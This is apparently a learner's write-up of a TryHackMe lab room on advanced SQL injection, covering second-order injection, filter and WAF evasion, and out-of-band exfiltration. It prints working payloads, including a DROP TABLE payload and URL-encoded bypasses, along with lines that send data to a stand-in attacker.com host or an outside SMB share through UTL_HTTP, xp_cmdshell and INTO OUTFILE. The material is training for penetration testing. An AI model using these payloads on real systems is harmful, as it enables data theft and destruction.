# Advanced SQL Injection

**Room Link:** [https://tryhackme.com/r/room/advancedsqlinjection](https://tryhackme.com/r/room/advancedsqlinjection)



## Second-Order SQL Injection

Second-order SQL injection, also known as stored SQL injection, exploits vulnerabilities where user-supplied input is saved and subsequently used in a different part of the application, possibly after some initial processing. This type of attack is more insidious because the malicious SQL code does not need to immediately result in a SQL syntax error or other obvious issues, making it harder to detect with standard input validation techniques. The injection occurs upon the second use of the data when it is retrieved and used in a SQL command, hence the name "Second Order".

![second order sql injection workflow diagram](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716989709301)\


Impact

The danger of Second-Order SQL Injection lies in its ability to bypass typical front-end defences like basic input validation or sanitisation, which only occur at the point of initial data entry. Since the payload does not cause disruption during the first step, it can be overlooked until it's too late, making the attack particularly stealthy.\


Example\
We will be using a book review application. The application allows users to add new books via a web page (`add.php`). Users are prompted to provide details about the book they wish to add to the database. You can access the app at `http://MACHINE_IP/second/add.php`[.](http://machine_ip/case1.) The data collected includes the `SSN`, `book_name`, and `author`. Let's consider adding a book with the following details: SSN: UI00012, Book Name: Intro to PHP, Author: Tim. This information is input through a form on the `add.php` page, and upon submission, it is stored in the BookStore database as shown below:

![adding a new book in database](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1715774633948)\


As we know, Second-Order SQL injection is notably challenging to identify. Unlike traditional SQL Injection, which exploits real-time processing vulnerabilities, it occurs when data previously stored in a database is later used in a SQL query. Detecting this vulnerability often requires understanding how data flows through the application and is reused, necessitating a deep knowledge of the backend operations.\


Analysis of the Code

Consider the PHP code snippet used in our application for adding books:

```php
if (isset($_POST['submit'])) {

    $ssn = $conn->real_escape_string($_POST['ssn']);

    $book_name = $conn->real_escape_string($_POST['book_name']);

    $author = $conn->real_escape_string($_POST['author']);

    $sql = "INSERT INTO books (ssn, book_name, author) VALUES ('$ssn', '$book_name', '$author')";

    if ($conn->query($sql) === TRUE) {

        echo "<p class='text-green-500'>New book added successfully</p>";

    } else {

        echo "<p class='text-red-500'>Error: " . $conn->error . "</p>";

    }

}
```

The code uses the `real_escape_string()` method to escape special characters in the inputs. While this method can mitigate some risks of immediate SQL Injection by escaping single quotes and other SQL meta-characters, it does not secure the application against Second Order SQLi. The key issue here is the lack of parameterised queries, which is essential for preventing SQL injection attacks. When data is inserted using the `real_escape_string()` method, it might include payload characters that don't cause immediate harm but can be activated upon subsequent retrieval and use in another SQL query. For instance, inserting a book with a name like `Intro to PHP'; DROP TABLE books;--` might not affect the INSERT operation but could have serious implications if the book name is later used in another SQL context without proper handling.

Let's try adding another book with the SSN `test'`.\


![total books in the database](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1715776065076)

Here we go, the SSN `test'` is successfully inserted into the database. The application includes a feature to update book details through an interface like `update.php`. This interface might display existing book details in editable form fields, retrieved based on earlier stored data, and then update them based on user input. The pentester would investigate whether the application reuses the data (such as `book_name`) that was previously stored and potentially tainted. Then, he would construct SQL queries for updating records using this potentially tainted data without proper sanitisation or parameterisation. By manipulating the update feature, the tester can see if the malicious payload added during the insertion phase gets executed during the update operation. If the application fails to employ proper security practices at this stage, the earlier injected payload `'; DROP TABLE books; --` could be activated, leading to the execution of a harmful SQL command like dropping a table. You can visit the page `http://MACHINE_IP/second/update.php` to update any book details.

![update book content dashboard](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1715786150389)\


Now, let's review the `update.php` code. The PHP script allows users to update book details within the BookStore database. Through the query structure, we will analyse a typical scenario where a penetration tester might look for SQL injection vulnerabilities, specifically focusing on how user inputs are handled and utilised in SQL queries.&#x20;

```php
if ( isset($_POST['update'])) {
    $unique_id = $_POST['update'];
    $ssn = $_POST['ssn_' . $unique_id];
    $new_book_name = $_POST['new_book_name_' . $unique_id];
    $new_author = $_POST['new_author_' . $unique_id];

    $update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";
..
...
```

The script begins by checking if the request method is POST and if the update button was pressed, indicating that a user intends to update a book's details. Following this, the script retrieves user inputs directly from the POST data:

```php
    $unique_id = $_POST['update'];
    $ssn = $_POST['ssn_' . $unique_id];
    $new_book_name = $_POST['new_book_name_' . $unique_id];
    $new_author = $_POST['new_author_' . $unique_id];
```

These variables (`ssn, new_book_name, new_author`) are then used to construct an SQL query for updating the specified book's details in the database:

```php
$update_sql = "UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '$ssn'; INSERT INTO logs (page) VALUES ('update.php');";
```

The script uses `multi_query` to execute multiple queries. It also inserts logs into the logs table for analytical purposes.\


Preparing the Payload

We know that we can add or modify the book details based on their `ssn`. The normal query for updating a book might look like this:

```php
UPDATE books SET book_name = '$new_book_name', author = '$new_author' WHERE ssn = '123123';
```

However, the SQL command could be manipulated if an attacker inserts a specially crafted `ssn` value. For example, if the attacker uses the `ssn` value:

```php
12345'; UPDATE books SET book_name = 'Hacked'; --
```

When this value is used in the update query, it effectively ends the initial update command after `12345` and starts a new command. This would change the `book_name` of all entries in the books table to Hacked.\


Let's do this

* Initial Payload Insertion: A new book is added with the payload `12345'; UPDATE books SET book_name = 'Hacked'; --` is inserted as the `ssn`. The semicolon (`;`) will be used to terminate the current SQL statement.

![total books in database with injection payload](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1715789331772)\


* Malicious SQL Execution: After that, when the admin or any other user visits the URL `http://MACHINE_IP/second/update.php` and updates the book, the inserted payload breaks out of the intended SQL command structure and injects a new command that updates all records in the books table. Let's visit the page  `http://MACHINE_IP/second/update.php page`, update the book name to anything, and click the Update button. The code will execute the following statement in the backend.

```php
UPDATE books SET book_name = 'Testing', author = 'Hacker' WHERE ssn = '12345'; Update books set book_name ="hacked"; --'; INSERT INTO logs (page) VALUES ('update.php');
```

* Commenting Out the Rest: The double dash (`--`) is an SQL comment symbol. Anything following `--` will be ignored by the SQL server, effectively neutralising any remaining parts of the original SQL statement that could cause errors or reveal the attack. Once the above query is executed, it will change the name of all the books to hacked, as shown below:

![state of database after executing payload](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1715789376753)

In this task, we explored the Second-Order SQL injection concept through a vulnerable book review web application. As a penetration tester, examining how user inputs are stored and later utilised within SQL queries is crucial. This involves verifying that all forms of data handling are secure against such vulnerabilities, emphasising the importance of thorough testing and knowledge of security practices to safeguard against injection threats.

## Filter Evasion Techniques

In advanced SQL injection attacks, evading filters is crucial for successfully exploiting vulnerabilities. Modern web applications often implement defensive measures to sanitise or block common attack patterns, making simple SQL injection attempts ineffective. As pentesters, we must adapt using more sophisticated techniques to bypass these filters. This section will cover such methods, including character encoding, no-quote SQL injection, and handling scenarios where spaces cannot be used. We can effectively penetrate web applications with stringent input validation and security controls by understanding and applying these techniques.&#x20;

![list of keywords for filter evasion](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716922193553)

### Character Encoding

\
Character encoding involves converting special characters in the SQL injection payload into encoded forms that may bypass input filters.\


* URL Encoding: URL encoding is a common method where characters are represented using a percent (%) sign followed by their ASCII value in hexadecimal. For example, the payload `' OR 1=1--` can be encoded as `%27%20OR%201%3D1--`. This encoding can help the input pass through web application filters and be decoded by the database, which might not recognise it as malicious during initial processing.
* Hexadecimal Encoding: Hexadecimal encoding is another effective technique for constructing SQL queries using hexadecimal values. For instance, the query `SELECT * FROM users WHERE name = 'admin'` can be encoded as `SELECT * FROM users WHERE name = 0x61646d696e`. By representing characters as hexadecimal numbers, the attacker can bypass filters that do not decode these values before processing the input.
* `Unicode Encoding`: Unicode encoding represents characters using Unicode escape sequences. For example, the string `admin` can be encoded as `\u0061\u0064\u006d\u0069\u006e`. This method can bypass filters that only check for specific ASCII characters, as the database will correctly process the encoded input.

Example

In this example, we explore how developers can implement basic filtering to prevent SQL injection attacks by removing specific keywords and characters from user input. However, we will also see how attackers can bypass these defences using character encoding techniques like URL encoding.

Note: In the upcoming exercises, we will use databases that are different from the last ones. You can access the page at `http://10.10.106.31/encoding/`.

Here's the PHP code (search\_books.php) that handles the search functionality:

```php
$book_name = $_GET['book_name'] ?? '';
$special_chars = array("OR", "or", "AND", "and" , "UNION", "SELECT");
$book_name = str_replace($special_chars, '', $book_name);
$sql = "SELECT * FROM books WHERE book_name = '$book_name'";
echo "<p>Generated SQL Query: $sql</p>";
$result = $conn->query($sql) or die("Error: " . $conn->error . " (Error Code: " . $conn->errno . ")");
if ($result->num_rows > 0) {
    while ($row = $result->fetch_assoc()) {
...
..
```

Here's the Javascript code in the index.html page that provides the user interface for searching books:

```php
function searchBooks() {
const bookName = document.getElementById('book_name').value;
const xhr = new XMLHttpRequest();
xhr.open('GET', 'search_books.php?book_name=' + encodeURIComponent(bookName), true);
   xhr.onload = function() {
       if (this.status === 200) {
           document.getElementById('results').innerHTML = this.responseText;
```

In the above example, the developer has implemented a basic defence mechanism to prevent SQL injection attacks by removing specific SQL keywords, such as `OR`, `AND`, `UNION`, and `SELECT`. The filtering uses the `str_replace` function, which strips these keywords from the user input before they are included in the SQL query. This filtering approach aims to make it harder for attackers to inject malicious SQL commands, as these keywords are essential for many SQL injection payloads.

Preparing the Payload

Let's go through the process of preparing an SQL injection payload step-by-step, showing how URL encoding can bypass basic defences. First, let’s see what happens with a normal input that contains special characters or SQL keywords. When we search for a book named `Intro to PHP`, we get the successful result as shown below:

![search for a book dashboard](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716201873529)\


But what if we try to break the query by adding special characters like `'`, `;`, etc? We will get the following output:

![error result while searching a book](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716201925761)\


The SQL query is not executing correctly, which probably means there is a chance of SQL Injection. Let's try to inject the payload "`Intro to PHP' OR 1=1`". We will get the following output:

![error result with injection payload](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716202022860)\


So, what is happening here? When this input is passed to the PHP script, the `str_replace` function will strip out the OR keyword and the single quote, resulting in a sanitised input that will not execute the intended SQL injection. This input is ineffective because the filtering removes the critical components needed for the SQL injection to succeed.

To bypass the filtering, we need to encode the input using URL encoding, which represents special characters and keywords in a way that the filter does not recognise and remove. Here is the example payload `1%27%20||%201=1%20--+`.

* `%27` is the URL encoding for the single quote (').
* `%20` is the URL encoding for a space ( ).
* `||` represents the SQL OR operator.
* `%3D` is the URL encoding for the equals sign (=).
* `%2D%2D` is the URL encoding for --, which starts a comment in SQL.

In the above payload, `1'` closes the current string or value in the SQL query. For example, if the query is looking for a book name that matches 1, adding `'` closes the string, making the rest of the input part of the SQL statement. `|| 1=1` part uses the SQL `OR` operator to add a condition that is always true. This condition ensures that the query returns true for all records, bypassing the original condition that was supposed to restrict the results. Similarly, `--` starts a comment in SQL, causing the database to ignore the rest of the query. This is useful to terminate any remaining part of the query that might cause syntax errors or unwanted conditions. To ensure proper spacing, `+` add a space after the comment, ensuring that the comment is properly terminated and there are no syntax issues.

From the console, we can see that clicking the search button makes an AJAX call to `search_book.php`.\


![network tab in console](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716099780661)

_Click to enlarge the image._

Let's use the payload directly on the PHP page to avoid unnecessary tweaking/validation from the client.  Let's visit the URL [http://10.10.106.31/encoding/search\_books.php?book\_name=Intro%20to%20PHP%27%20OR%201=1](http://10.10.106.31/encoding/search_books.php?book_name=Intro%20to%20PHP%27%20OR%201=1) with the standard payload `Intro to PHP' OR 1=1`, and you will see an error.&#x20;

\


<figure><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716202208504" alt=""><figcaption></figcaption></figure>

Now, URL encode the payload `Intro to PHP' || 1=1 --+` using [Cyber Chef](https://gchq.github.io/CyberChef/#recipe=URL_Encode\(false\)) and try to access the URL with an updated payload. We will get the following output dumping the complete information:

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FEhBcWnma295hzOJUQO6y%2Fimage.png?alt=media&#x26;token=3be11c8e-7c02-414a-92ab-526cfbf3247e" alt=""><figcaption></figcaption></figure>

**Note:** It was not working from the browser so I copied and pasted the output of CyberChef into Burp to get the results.

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FLiDdQiyll6Yh9ZsX4SLx%2Fimage.png?alt=media&#x26;token=aebd8171-5f04-40cc-a27e-f514e3287a15" alt=""><figcaption></figcaption></figure>

\


<figure><img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716100417790" alt=""><figcaption></figcaption></figure>

The payload works because URL encoding represents the special characters and SQL keywords in a way that bypasses the filtering mechanism. When the server decodes the URL-encoded input, it restores the special characters and keywords, allowing the SQL injection to execute successfully. Using URL encoding, attackers can craft payloads that bypass basic input filtering mechanisms designed to block SQL injection. This demonstrates the importance of using more robust defences, such as parameterised queries and prepared statements, which can prevent SQL injection attacks regardless of the input's encoding.

## Filter Evasion Techniques (continued)

### No-Quote SQL Injection 

No-Quote SQL injection techniques are used when the application filters single or double quotes or escapes.\


* Using Numerical Values: One approach is to use numerical values or other data types that do not require quotes. For example, instead of injecting `' OR '1'='1`, an attacker can use `OR 1=1` in a context where quotes are not necessary. This technique can bypass filters that specifically look for an escape or strip out quotes, allowing the injection to proceed.
* Using SQL Comments: Another method involves using SQL comments to terminate the rest of the query. For instance, the input `admin'--` can be transformed into `admin--`, where the `--` signifies the start of a comment in SQL, effectively ignoring the remainder of the SQL statement. This can help bypass filters and prevent syntax errors.
* Using CONCAT() Function: Attackers can use SQL functions like `CONCAT()` to construct strings without quotes. For example, `CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e)` constructs the string admin. The `CONCAT()` function and similar methods allow attackers to build strings without directly using quotes, making it harder for filters to detect and block the payload.

### No Spaces Allowed

When spaces are not allowed or are filtered out, various techniques can be used to bypass this restriction.

* Comments to Replace Spaces: One common method is to use SQL comments (`/**/`) to replace spaces. For example, instead of `SELECT * FROM users WHERE name = 'admin'`, an attacker can use `SELECT/**//*FROM/**/users/**/WHERE/**/name/**/='admin'`. SQL comments can replace spaces in the query, allowing the payload to bypass filters that remove or block spaces.\

* Tab or Newline Characters: Another approach is using tab () or newline () characters as substitutes for spaces. Some filters might allow these characters, enabling the attacker to construct a query like `SELECT\t*\tFROM\tusers\tWHERE\tname\t=\t'admin'`. This technique can bypass filters that specifically look for spaces.\

* Alternate Characters: One effective method is using alternative URL-encoded characters representing different types of whitespace, such as `%09` (horizontal tab), `%0A` (line feed), `%0C` (form feed), `%0D` (carriage return), and `%A0` (non-breaking space). These characters can replace spaces in the payload.&#x20;

### Practical Example

In this scenario, we have an endpoint, `http://MACHINE_IP/space/search_users.php?username=?` that returns user details based on the provided username. The developer has implemented filters to block common SQL injection keywords such as OR, AND, and spaces (%20) to protect against SQL injection attacks.\


Here is the PHP filtering added by the developer.

```php
$special_chars = array(" ", "AND", "and" ,"or", "OR" , "UNION", "SELECT");
$username = str_replace($special_chars, '', $username);
$sql = "SELECT * FROM user WHERE username = '$username'";
```

If we use our standard payload `1%27%20||%201=1%20--+` on the endpoint, we can see that even through URL encoding, it is not working.

![injection with incorrect payload](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716108426440)

The SQL query shows that the spaces are being omitted by code. To bypass these protections, we can use URL-encoded characters that represent different types of whitespace or line breaks, such as `%09` (horizontal tab), `%0A` (line feed). These characters can replace spaces and still be interpreted correctly by the SQL parser.

The original payload `1' OR 1=1 --` can be modified to use newline characters instead of spaces, resulting in the payload `1'%0A||%0A1=1%0A--%27+`. This payload constructs the same logical condition as `1' OR 1=1 --` but uses newline characters to bypass the space filter.

The SQL parser interprets the newline characters as spaces, transforming the payload into `1' OR 1=1 --`. Therefore, the query will be interpreted from `SELECT * FROM users WHERE username = '$username'` to `SELECT * FROM users WHERE username = '1' OR 1=1 --`.

Now, if we access the endpoint through an updated payload, we can view all the details.&#x20;

![injection with correct payload](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716108947600)\


To summarise, it is important to understand that no single technique guarantees a bypass when dealing with filters or Web Application Firewalls (WAFs) designed to prevent SQL injection attacks. However, here are some tips and tricks that can be used to circumvent these protections. This table highlights various techniques that can be employed to try and bypass filters and WAFs:

| Scenario                                                            | Description                                                                                                                 | Example                                                                                                            |
| ------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------ |
| <p>Keywords like SELECT are banned<br></p>                          | <p>SQL keywords can often be bypassed by changing their case or adding inline comments to break them up<br></p>             | <p>SElEcT * FrOm users or SE/**/LECT * FROM/**/users<br></p>                                                       |
| <p>Spaces are banned<br></p>                                        | <p>Using alternative whitespace characters or comments to replace spaces can help bypass filters.<br></p>                   | <p>SELECT%0A*%0AFROM%0Ausers or SELECT/**/*/**/FROM/**/users<br></p>                                               |
| <p>Logical operators like AND, OR are banned<br></p>                | <p>Using alternative logical operators or concatenation to bypass keyword filters.<br></p>                                  | <p>username = 'admin' &#x26;&#x26; password = 'password' or username = 'admin'/**/||/**/1=1 --<br></p>             |
| <p>Common keywords like UNION, SELECT are banned<br></p>            | <p>Using equivalent representations such as hexadecimal or Unicode encoding to bypass filters.<br></p>                      | <p>SElEcT * FROM users WHERE username = CHAR(0x61,0x64,0x6D,0x69,0x6E)<br></p>                                     |
| <p>Specific keywords like OR, AND, SELECT, UNION are banned<br></p> | <p>Using obfuscation techniques to disguise SQL keywords by combining characters with string functions or comments.<br></p> | <p>SElECT * FROM users WHERE username = CONCAT('a','d','m','i','n') or SElEcT/**/username/**/FROM/**/users<br></p> |



In real environments, the queries you apply and the visibility of filtered keywords are not directly possible. As a pentester, it is important to understand that SQL injection testing often involves a hit-and-trial approach, requiring patience and perseverance. Each environment can have unique filters and protections, making it necessary to adapt and try different techniques to find a successful injection vector.

## Out-of-band SQL Injection

Out-of-band (OOB) SQL injection is an attack technique that pentester/red teamers use to exfiltrate data or execute malicious actions when direct or traditional methods are ineffective. Unlike In-band SQL injection, where the attacker relies on the same channel for attack and data retrieval, Out-of-band SQL injection utilises separate channels for sending the payload and receiving the response. Out-of-band techniques leverage features like HTTP requests, DNS queries, SMB protocol, or other network protocols that the database server might have access to, enabling attackers to circumvent firewalls, intrusion detection systems, and other security measures.

![process flow of OOB injection](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1717060822273)\


One of the key advantages of Out-of-band SQL injection is its stealth and reliability. By using different communication channels, attackers can minimise the risk of detection and maintain a persistent connection with the compromised system. For instance, an attacker might inject a SQL payload that triggers the database server to make a DNS request to a malicious domain controlled by the attacker. The response can then be used to extract sensitive data without alerting security mechanisms that monitor direct database interactions. This method allows attackers to exploit vulnerabilities even in complex network environments where direct connectivity between the attacker and the target is limited or scrutinised.&#x20;

### Why Use OOB

In scenarios where direct responses are sanitised or limited by security measures, OOB channels enable attackers to exfiltrate data without immediate feedback from the server. For instance, security mechanisms like stored procedures, output encoding, and application-level constraints can prevent direct responses, making traditional SQL injection attacks ineffective. Out-of-band techniques, such as using DNS or HTTP requests, allow data to be sent to an external server controlled by the attacker, circumventing these restrictions.

Additionally, Intrusion Detection Systems (IDS) and Web Application Firewalls (WAFs) often monitor and log SQL query responses for suspicious activity, blocking direct responses from potentially malicious queries. By leveraging OOB channels, attackers can avoid detection by using less scrutinized network protocols like DNS or SMB to transfer data. This is particularly useful in network environments with limited direct connectivity between the attacker and the database server, such as when the server is behind a firewall or in a different network segment.

### Techniques in Different Databases

Out-of-band SQL injection attacks utilise the methodology of writing to another communication channel through a crafted query. This technique is effective for exfiltrating data or performing malicious actions when direct interaction with the database is restricted. There are multiple commands within a database that may allow exfiltration, but below is a list of the most commonly used in various database systems:

### MySQL and MariaDB

In MySQL or MariaDB, Out-of-band SQL injection can be achieved using [SELECT ... INTO OUTFILE](https://dev.mysql.com/doc/refman/8.0/en/select-into.html) or [load\_file](https://dev.mysql.com/doc/refman/8.0/en/string-functions.html#function_load-file) command. This command allows an attacker to write the results of a query to a file on the server's filesystem. For example:

```php
SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';
```

An attacker could then access this file via an SMB share or HTTP server running on the database server, thereby exfiltrating the data through an alternate channel.

Microsoft SQL Server (MSSQL)

In MSSQL, Out-of-band SQL injection can be performed using features like [xp\_cmdshell](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql?view=sql-server-ver16), which allows the execution of shell commands directly from SQL queries. This can be leveraged to write data to a file accessible via a network share:

```php
EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';
```

Alternatively, `OPENROWSET` or `BULK INSERT` can be used to interact with external data sources, facilitating data exfiltration through OOB channels.\


### Oracle 

In Oracle databases, Out-of-band SQL injection can be executed using the [UTL\_HTTP](https://docs.oracle.com/en/database/oracle/oracle-database/19/arpls/UTL_HTTP.html) or [UTL\_FILE](https://docs.oracle.com/en/database/oracle/oracle-database/19/arpls/UTL_FILE.html) packages. For instance, the UTL\_HTTP package can be used to send HTTP requests with sensitive data:

```php
DECLARE
  req UTL_HTTP.REQ;
  resp UTL_HTTP.RESP;
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
  UTL_HTTP.GET_RESPONSE(req);
END;
```

Examples of Out-of-band Techniques

Out-of-band SQL injection techniques in MySQL and MariaDB can utilise various network protocols to exfiltrate data. The primary methods include DNS exfiltration, HTTP requests, and SMB shares. Each of these techniques can be applied depending on the capabilities of the MySQL/MariaDB environment and the network setup.\


### HTTP Requests 

By leveraging database functions that allow HTTP requests, attackers can send sensitive data directly to a web server they control. This method exploits database functionalities that can make outbound HTTP connections. Although MySQL and MariaDB do not natively support HTTP requests, this can be done through external scripts or User Defined Functions (UDFs) if the database is configured to allow such operations.

First, the UDF needs to be created and installed to support HTTP requests. This setup is complex and usually involves additional configuration. An example query would look like `SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;`.

HTTP request exfiltration can be implemented on Windows and Linux (Ubuntu) systems, depending on the database's support for external scripts or UDFs that enable HTTP requests.

### DNS Exfiltration&#x20;

Attackers can use SQL queries to generate DNS requests with encoded data, which is sent to a malicious DNS server controlled by the attacker. This technique bypasses HTTP-based monitoring systems and leverages the database's ability to perform DNS lookups.

As discussed above, MySQL does not natively support generating DNS requests through SQL commands alone, attackers might use other means such as custom User-Defined Functions (UDFs) or system-level scripts to perform DNS lookups.

### SMB Exfiltration

SMB exfiltration involves writing query results to an SMB share on an external server. This technique is particularly effective in Windows environments but can also be configured in Linux systems with the right setup. an example query would look like `SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';`.

This is fully supported as Windows natively supports SMB/UNC paths. Linux (Ubuntu): While direct UNC paths are more native to Windows, SMB shares can be mounted and accessed in Linux using tools like `smbclient` or by mounting the share to a local directory. Directly using UNC paths in SQL queries may require additional setup or scripts to facilitate the interaction.

### Practical Example

In this practical scenario, we will demonstrate how an attacker can exfiltrate data from a vulnerable web application using an Out-of-band SQL injection technique. The server-side code contains an SQL injection vulnerability that allows an attacker to craft a payload that writes the results of a query to an external SMB share. This is useful when direct responses from the database are restricted or monitored.

### Scenario Explanation

In this scenario, we would enable a network share on the AttackBox at `ATTACKBOX_IP\logs`. This share is accessible over the network and allows files from other machines to be written to it. You may assume a scenario when you get a vulnerable system and want to pivot data to another network share system. The attacker will leverage this share to exfiltrate data Out-of-band. To have a network share, we would start the AttackBox and execute the following command in the terminal:\


* Navigate to `impacket` directory using `cd /opt/impacket/examples`
* Enter the command `python3.9 smbserver.py -smb2support -comment "My Logs Server" -debug logs /tmp` to start the SMB server sharing the `/tmp` directory.
* You can access the contents of the network share by entering the command `smbclient //ATTACKBOX_IP/logs -U guest -N`. This would allow you to connect to the network share, and then you can issue the command `ls` to list all the commands.

We have the same web application with a search feature that queries visitors who visit the library. The server-side code for this feature is vulnerable to SQL injection, and you can access it at `http://10.10.62.251/oob/search_visitor.php?visitor_name=Tim`.&#x20;

![response of normal query](https://tryhackme-images.s3.amazonaws.com/user-uploads/62a7685ca6e7ce005d3f3afe/room-content/62a7685ca6e7ce005d3f3afe-1716632404869)\


The server code looks like this:

```php
$visitor_name = $_GET['visitor_name'] ?? '';

$sql = "SELECT * FROM visitor WHERE name = '$visitor_name'";

echo "<p>Generated SQL Query: $sql</p>";

// Execute multi-query
if ($conn->multi_query($sql)) {
    do {
        // Store first result set
        if ($result = $conn->store_result()) {
            if ($result->num_rows > 0) {
                while ($row = $result->fetch_assoc()) {
```

### Important Consideration

It is important to note that the MySQL system variable `secure_file_priv` may be set. When set, this variable contains a directory pathname, and MySQL will only allow files to be written to this specified directory. This security measure helps mitigate the risk of unauthorised file operations.&#x20;

* When secure\_file\_priv is Set: MySQL will restrict file operations such as INTO OUTFILE to the specified directory. This means attackers can only write files to this directory, limiting their ability to exfiltrate data to arbitrary locations.
* When secure\_file\_priv is Empty: If the `secure_file_priv` variable is empty, MySQL does not impose any directory restrictions, allowing files to be written to any directory accessible by the MySQL server process. This configuration poses a higher risk as it provides more flexibility for attackers.

Attackers typically do not have direct access to check the value of the secure\_file\_priv variable. As a result, they must rely on hit-and-trial methods to determine if and where they can write files, testing various paths to see if file operations succeed.\


### Preparing the Payload

To exploit this vulnerability, the attacker crafts a payload to inject into the `visitor_name` parameter. The payload will be designed to execute an additional SQL query that writes the database version information to an external SMB share.\


```php
1'; SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt'; --
```

Let's dissect the above payload:

* `1'`: Closes the original string within the SQL query.
* `;`: Ends the first SQL statement.
* `SELECT @@version INTO OUTFILE '\\\\ATTACKBOX_IP\\logs\\out.txt';`: Executes a new SQL statement that retrieves the database version and writes it to an SMB share at \\\ATTACKBOX\_IP\logs\out.txt.
* `--`: Comments the rest of the original SQL query to prevent syntax errors.

To utilise the payload, the attacker would visit the URL that creates a file in an external SMB share.&#x20;

To access the file, use the `ls /tmp` to see the file received in the `/tmp` directory as shown below: \


### Practice

**Kali #1**

```
python3.9 /opt/impacket/examples/smbserver.py -smb2support public share
```

**Kali #2**

```
mkdir share
```

Sent the request to Burp. Url encoded it.

**Burp**

```
#Original
1'; SELECT @@version INTO OUTFILE '\\\\$KALI\\public\\out.txt'; --

#URL Encoded
1'%3b+SELECT+%40%40version+INTO+OUTFILE+'\\\\$KALI\\public\\out.txt'%3b+-- 
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FOFtYc7eXqXnNRzVvSBGa%2Fimage.png?alt=media&#x26;token=ffc36da1-e4cf-441e-bc58-89134260d3ed" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F75deHQbIIDV8WSWmbV61%2Fimage.png?alt=media&#x26;token=c8c6aa07-37a9-4dd2-8be2-6f5df9122909" alt=""><figcaption></figcaption></figure>

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2FPn3H7BaQWDugBF2ptXqt%2Fimage.png?alt=media&#x26;token=fdbae899-a4b1-464c-ae43-7026a32b7653" alt=""><figcaption></figcaption></figure>

###

**Kali #1**

```
python3.9 /opt/impacket/examples/smbserver.py -smb2support public share
```

If the out.txt file exists it will not rewrite it.&#x20;

**Kali #2**

```
mkdir share
rm -f share/out.txt
```

Sent the request to Burp. Url encoded it.

**Burp**

```
#Original
1'; SELECT @@basedir INTO OUTFILE '\\\\$KALI\\public\\out.txt'; --

#URL Encoded
1'%3b+SELECT+%40%40basedir+INTO+OUTFILE+'\\\\$KALI\\public\\out.txt'%3b+--+  
```

<figure><img src="https://1447300783-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FHtr6mVUoafpQhzSYJEjI%2Fuploads%2F4pHutGHQ3BoCZZtyxanS%2Fimage.png?alt=media&#x26;token=8f3f8b01-cb32-4d3f-bc19-c223f4cb515a" alt=""><figcaption></figcaption></figure>

## Other Techniques

